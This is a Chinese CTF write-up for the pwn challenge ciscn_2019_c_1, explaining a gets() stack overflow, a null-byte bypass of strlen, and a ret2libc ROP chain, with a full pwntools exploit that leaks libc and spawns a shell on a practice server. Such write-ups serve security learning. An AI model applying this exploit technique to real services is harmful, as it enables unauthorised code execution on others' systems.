ciscn_2019_c_1 题解
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
交互界面:
可以看出让我们选择 加密、解密、退出
我们在ida里分析这三个函数,发现Encrypt函数里有溢出点
Encrypt函数如下:
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
可以看到,如果v0 >= strlen(s)
,这个函数就会对我们输入的字符串进行一系列的异或操作,进而破坏字符串,我们可以在字符串前面加\0
来绕过strlen()
的检测。
关键的来了,我们需要用寄存器进行传参
得到pop_rdi
的地址为0x400c83
于是我们可以构造:
payload = b'\0'+b'a'*(offset-1)#\0绕过strlen检测
payload=payload+p64(pop_rdi)#设置寄存器
payload=payload+p64(puts_got)#将puts函数传给寄存器
payload=payload+p64(puts_plt)#执行puts函数
payload=payload+p64(main)#返回main函数
然后我们就可以获取puts函数的真实地址了
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
然后我们利用真实puts地址减libc puts地址得到偏移
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
根据得到的偏移,我们就可以计算出字符串/bin/sh
的真实地址和system()
函数的真实地址了
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
然后我们就可以利用ret
和pop_rdi
构造ROP链,并利用主函数的begin()
机制进入下一次get
进行栈溢出
完整的exp如下:
from pwn import*
from LibcSearcher import*
r=remote('node4.buuoj.cn',26199)
elf=ELF('/home/miyu/Desktop/ciscn_2019_c_1')
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.interactive()
注意:64bit的ROP构造为ret+pop_rdi+binsh+system
libc版本我们选择第一个libc6_2.27-0ubuntu2_amd64
成功得到flag
ciscn_2019_c_1 题解的更多相关文章
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- noip2016十连测题解
以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...
- BZOJ-2561-最小生成树 题解(最小割)
2561: 最小生成树(题解) Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 1628 Solved: 786 传送门:http://www.lyd ...
- Codeforces Round #353 (Div. 2) ABCDE 题解 python
Problems # Name A Infinite Sequence standard input/output 1 s, 256 MB x3509 B Restoring P ...
- 哈尔滨理工大学ACM全国邀请赛(网络同步赛)题解
题目链接 提交连接:http://acm-software.hrbust.edu.cn/problemset.php?page=5 1470-1482 只做出来四道比较水的题目,还需要加强中等题的训练 ...
- 2016ACM青岛区域赛题解
A.Relic Discovery_hdu5982 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Jav ...
- poj1399 hoj1037 Direct Visibility 题解 (宽搜)
http://poj.org/problem?id=1399 http://acm.hit.edu.cn/hoj/problem/view?id=1037 题意: 在一个最多200*200的minec ...
- 网络流n题 题解
学会了网络流,就经常闲的没事儿刷网络流--于是乎来一发题解. 1. COGS2093 花园的守护之神 题意:给定一个带权无向图,问至少删除多少条边才能使得s-t最短路的长度变长. 用Dijkstra或 ...
- CF100965C题解..
求方程 \[ \begin{array}\\ \sum_{i=1}^n x_i & \equiv & a_1 \pmod{p} \\ \sum_{i=1}^n x_i^2 & ...
- JSOI2016R3 瞎BB题解
题意请看absi大爷的blog http://absi2011.is-programmer.com/posts/200920.html http://absi2011.is-programmer.co ...
随机推荐
- TortoiseGit使用Cherry Pick遇到的问题及解决方案
TortoiseGit的Cherry Pick 比如从master pick某一个commit 记录到其它分支(release) pick的操作方法:切到分支,点击 show log,然后在log d ...
- CPython, Pypy, MicroPython...还在傻傻分不清楚?
哈喽大家好,我是咸鱼 当我们说 Python 时,通常指的是官方实现的 CPython 但还有很多比如 Pypy.Jython.MicroPython.Brython.RustPython 等 &qu ...
- VSCode中打开NodeJS项目自动切换对应版本的配置
这几年搞了不少静态站点,有的是Hexo的,有的是VuePress的.由于不同的主题对于NodeJS的版本要求不同,所以本机上不少NodeJS的版本. 关于如何管理多个NodeJS版本,很早之前就写过用 ...
- CS144 LAB5~LAB6
CS144 lab5~6 最后两个lab了,虽然很多大佬都说剩下的两个lab比起TCP的实现,"简直太简单了",但是我认为做这两个之前需要补充一些额外的网络知识,不然直接上手去做的 ...
- 整理不错的opencv博客
https://me.csdn.net/column/u013095718 更全的博客: https://blog.csdn.net/zhmxy555/column/info/opencv-tutor ...
- 【Azure K8S | AKS】在AKS集群中创建 PVC(PersistentVolumeClaim)和 PV(PersistentVolume) 示例
问题描述 在AKS集群中创建 PVC(PersistentVolumeClaim)和 PV(PersistentVolume) 示例 问题解答 在Azure Kubernetes Service(AK ...
- 超详细的mysql总结(基本概念、DDL、DML)
开发中存在着各种数据,比如用户的个人信息.商品详情.购买记录,这些数据都要以一定的方式储存,如果以文本的形式储存,每一次获取都要读取文件,如果信息有修改则需要直接修改文本,大量的数据会需要保存大量的文 ...
- 解决Avalonia 11.X版本的中文字体问题
网上搜索的方法使用接口"IFontManagerImpl"这个方法目前只能用于Avalonia 10.X版本,因为11版本后官方把这个接口的成员都设置成了非plubic,所以之前的 ...
- [碎碎念]和ljf老师聊天得到的一些启发,希望大家一起来吹水
关于写这个小文 和ljf老师聊天得到的一些启发,希望能够总结出来方便回顾,并且我觉得这些想法有一定的普适性,可以供大家参考. 疑问 我的疑问是,我现在主要在做fuzz+pwn,能够进行漏洞挖掘,以及w ...
- Unity UGUI的Button组件的介绍及使用
UGUI的Button(按钮)组件的介绍及使用 1. 什么是UGUI的Button组件? UGUI(Unity GUI)是Unity引擎中的一套用户界面系统,Button(按钮)是其中的一个常用组件. ...